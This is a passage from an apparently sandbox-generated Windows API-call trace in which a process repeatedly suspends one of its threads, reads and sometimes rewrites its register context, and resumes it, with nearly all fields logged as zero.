LastExceptionFromRip=0x0)) returned 1
[0129.705] ResumeThread (hThread=0x130) returned 0x1
[0129.705] CloseHandle (hObject=0x130) returned 1
[0129.705] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.746] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.788] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.788] SuspendThread (hThread=0x130) returned 0x0
[0129.788] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1673ffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.789] ResumeThread (hThread=0x130) returned 0x1
[0129.789] CloseHandle (hObject=0x130) returned 1
[0129.789] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.830] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.871] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.871] SuspendThread (hThread=0x130) returned 0x0
[0129.871] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1678000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.872] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.872] ResumeThread (hThread=0x130) returned 0x1
[0129.872] CloseHandle (hObject=0x130) returned 1
[0129.872] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.914] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.954] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.954] SuspendThread (hThread=0x130) returned 0x0
[0129.954] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x167bffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.955] ResumeThread (hThread=0x130) returned 0x1
[0129.955] CloseHandle (hObject=0x130) returned 1
[0129.955] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.011] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.073] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.073] SuspendThread (hThread=0x130) returned 0x0
[0130.073] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1680005, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, 